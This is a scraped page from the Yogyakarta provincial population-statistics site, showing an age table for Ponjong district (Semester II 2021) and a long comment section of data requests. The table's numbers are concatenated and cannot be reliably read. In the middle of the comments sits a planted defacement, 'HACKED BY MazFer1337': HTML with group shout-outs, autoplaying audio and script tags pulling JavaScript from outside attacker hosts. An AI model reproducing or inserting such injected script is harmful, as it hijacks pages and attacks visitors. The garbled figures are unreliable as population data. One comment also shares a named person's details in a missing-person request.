Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PONJONG, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaUMBULREJOSAWAHANTAMBAKROMOKENTENGSUMBERGIRIGENJAHANPONJONGKARANGASEMBEDOYOSIDOREJOGOMBANGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun7668 1446154 1153337 703627 635130 815056 1065845 1032323 464338 819191 1822834 62550 503 1.053
2 tahun4649 954034 742119 401720 372725 522534 592827 55108 182020 406876 1442118 39323 330 653
3 tahun4134 752425 492017 371616 321927 463642 782836 641310 232320 437254 1261612 28308 293 601
4 tahun3645 813831 692220 421315 282130 513428 623732 691316 292512 376460 1241322 35316 311 627
5 tahun4648 943928 672424 481820 382430 543526 612728 551415 293021 517068 1382314 37350 322 672
6 tahun4133 744239 812121 421418 322430 542935 643325 58158 232320 436556 1212718 45334 303 637
7 tahun4742 894429 732121 421921 403040 703735 723827 651520 353019 496858 1261317 30362 329 691
8 tahun5844 1024742 892623 491614 303331 644427 713843 81129 211924 436544 1092516 41383 317 700
9 tahun6139 1003033 632423 471413 272927 564133 743030 601913 323023 536761 1282119 40366 314 680
10 tahun4240 823345 783434 681716 332530 553743 804039 791717 343426 607274 1461920 39370 384 754
11 tahun4668 1143636 722229 512230 523023 534941 904335 781719 363324 576977 1462414 38391 396 787
12 tahun5452 1063444 782537 622417 414627 734336 793842 802013 332127 487556 1312621 47406 372 778
13 tahun4651 973728 652824 521320 332222 445044 943235 671716 333521 567078 1482526 51375 365 740
14 tahun3743 803837 752629 553224 563732 694241 834133 742117 383823 615975 1342126 47392 380 772
15 tahun6240 1024132 732027 471428 424331 746243 1054337 801812 302323 466063 1233216 48418 352 770
16 tahun4948 973840 782424 482310 333036 664043 833033 631613 293320 535853 1112635 61367 355 722
17 tahun3434 683337 703219 512215 373937 764539 843146 772111 322024 446248 1103019 49369 329 698
18 tahun3943 824644 902731 582418 424541 863132 633532 671913 321927 467164 1353018 48386 363 749
19 tahun5747 1043846 842032 522124 452929 584942 914223 651519 342324 476860 1282716 43389 362 751
20 tahun4551 965543 982837 652230 523440 744337 804430 741613 292224 467569 1442635 61410 409 819
21 tahun5762 1194439 833523 582824 523927 664952 1013137 681826 443232 648463 1472624 50443 409 852
22 tahun5251 1035045 953830 682815 433736 733242 744934 831917 363522 576661 1272921 50435 374 809
23 tahun5243 953834 722728 551828 462932 614945 943443 772216 382625 516364 1272625 51384 383 767
24 tahun5550 1054333 763030 601621 373523 583940 794021 611913 322515 406762 1293026 56399 334 733
25 tahun6662 1284747 943423 572619 452932 613637 733835 731916 352830 586264 1263223 55417 388 805
26 tahun5758 1154838 863428 621526 412824 525542 974637 832719 462229 517768 1453223 55441 392 833
27 tahun6140 1013734 713225 572322 454732 795047 972925 541310 233125 568075 1552530 55428 365 793
28 tahun4747 945032 823425 592113 342724 514135 763737 741716 332822 508073 1533518 53417 342 759
29 tahun5840 984344 873130 612119 402331 544135 763333 661721 384033 738163 1442417 41412 366 778
30 tahun4956 1053243 751730 472117 383826 643033 633332 651517 323428 627872 1501314 27360 368 728
31 tahun5341 944538 833325 582221 433529 644235 771928 471224 361929 485256 1082222 44354 348 702
32 tahun4949 983650 863626 622621 472228 502335 582424 48277 342721 485547 1022017 37345 325 670
33 tahun5344 973635 711925 441316 292426 503419 532630 561013 232428 524444 881213 25295 293 588
34 tahun4146 873427 612627 531717 342721 482922 512628 54714 212828 564746 931616 32298 292 590
35 tahun5845 1032628 543118 491919 382530 554134 753132 631016 262110 315353 1061723 40332 308 640
36 tahun6348 1113839 773432 661819 372837 653839 773531 661019 292728 557170 1412717 44389 379 768
37 tahun5347 1003243 752125 461623 393131 622431 554141 822517 421931 508072 1522825 53370 386 756
38 tahun4947 963632 683830 682217 394917 664551 963831 691815 333026 567076 1462116 37416 358 774
39 tahun5249 1014331 744024 642931 603441 754544 893738 751518 333324 578855 1432223 45438 378 816
40 tahun5339 924236 782430 541817 353131 624040 804244 861519 343924 635563 1181620 36375 363 738
41 tahun4243 853536 712231 532825 534123 644345 883428 621815 332736 637764 1411725 42384 371 755
42 tahun4341 844035 752732 592733 602738 653948 873236 681820 382333 567761 1382722 49380 399 779
43 tahun4537 824932 812931 602127 484140 813350 833232 642220 423633 696566 1312720 47400 388 788
44 tahun5749 1063940 792424 483015 452631 574645 913833 711616 322317 406358 1212434 58386 362 748
45 tahun5158 1093840 783032 622331 542929 583838 763539 741420 341926 456261 1232327 50362 401 763
46 tahun4549 944338 812932 612223 453435 693835 732530 552018 383230 628163 1443625 61405 378 783
47 tahun5363 1163945 842330 532625 513634 704960 1094138 792413 372430 546748 1151429 43396 415 811
48 tahun5661 1174039 793338 712732 592931 603142 733331 641817 351824 425670 1262331 54364 416 780
49 tahun5052 1023647 833335 683030 604945 944151 923933 722616 423531 666669 1353834 72443 443 886
50 tahun5751 1083451 852829 572528 533134 653544 792938 671217 292736 635674 1302626 52360 428 788
51 tahun5476 1304351 944134 752717 443543 784342 853240 722319 422244 666050 1103025 55410 441 851
52 tahun4958 1074152 933636 723229 613436 705245 973944 832622 483632 688978 1674221 63476 453 929
53 tahun5357 1105457 1113234 662026 463038 683152 834238 801130 413545 806479 1432624 50398 480 878
54 tahun5945 1044740 872224 461622 382825 534239 813132 632428 522527 526553 1182437 61383 372 755
55 tahun4953 1022936 652930 591825 433035 654836 843736 731416 303529 644373 1162121 42353 390 743
56 tahun5657 1133646 822426 502324 474246 883544 793840 781814 323336 695776 1332825 53390 434 824
57 tahun2940 692846 741715 321523 382919 483136 672730 571220 323029 594952 101819 27275 329 604
58 tahun6142 1034240 822822 502223 452029 493448 823133 642224 463128 596657 1232519 44382 365 747
59 tahun3439 734035 752122 432410 342528 533546 813133 641913 323233 654452 962321 44328 332 660
60 tahun3342 752236 581017 271723 402421 453021 512323 461412 263536 714253 951420 34264 304 568
61 tahun3974 1134433 772030 502734 612640 662830 582833 611516 311625 417467 1412838 66345 420 765
62 tahun3543 783539 742133 541616 323731 683233 652442 661929 483033 633748 851414 28300 361 661
63 tahun3742 793127 581225 372226 482026 462845 731938 571717 342437 615352 1051613 29279 348 627
64 tahun2826 541629 451919 381517 322728 552833 613521 561213 252827 553563 981025 35253 301 554
65 tahun3830 682528 532034 542623 492133 543327 602024 441624 402126 474949 981419 33283 317 600
66 tahun3934 732128 492036 562222 443332 652229 512227 491718 351818 364653 992423 47284 320 604
67 tahun2627 531120 312019 391618 341930 492729 561423 371012 222323 464056 961917 36225 274 499
68 tahun3638 742821 492029 491016 262019 393121 521722 391110 211014 244248 90911 20234 249 483
69 tahun2728 552521 462526 511421 351121 322124 452017 371114 252119 403144 751312 25219 247 466
70 tahun3026 562527 523323 561612 282020 401821 391915 342912 413123 545444 98106 16285 229 514
71 tahun3943 822550 751535 502021 413050 801826 441929 481523 383119 505144 951623 39279 363 642
72 tahun2424 481519 341620 361217 292323 462520 451414 281320 331212 242531 561015 25189 215 404
73 tahun3033 631915 341820 38911 202124 452839 671825 432514 391823 413725 62817 25231 246 477
74 tahun1319 321125 36814 22915 242123 441716 33715 2257 121417 311931 5046 10128 188 316
75 tahun1115 261917 361517 321417 311120 311222 341015 2588 161313 261230 42610 16131 184 315
76 tahun2148 692121 422426 501618 342430 542528 531325 38108 181521 363844 821923 42226 292 518
77 tahun1120 31137 2079 161014 24915 241213 251311 2463 9813 212319 4247 11116 131 247
78 tahun1025 351710 27515 2099 181817 35822 301110 2157 12109 192226 4888 16123 158 281
79 tahun3137 681322 351620 361313 262014 341520 351830 48128 201416 303825 6326 8192 211 403
80 ke atas171203 37473108 18186116 2025082 13281104 18588126 21478107 1852264 865970 129139221 3603456 90881 1.257 2.138
Jumlah3.7133.7317.4442.8562.9045.7602.0702.2024.2721.6331.7143.3472.4082.4564.8642.8953.0065.9012.5132.5695.0821.3151.3152.6302.1062.0634.1694.8364.8099.6451.7101.6833.393 28.055 28.452 56.507
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih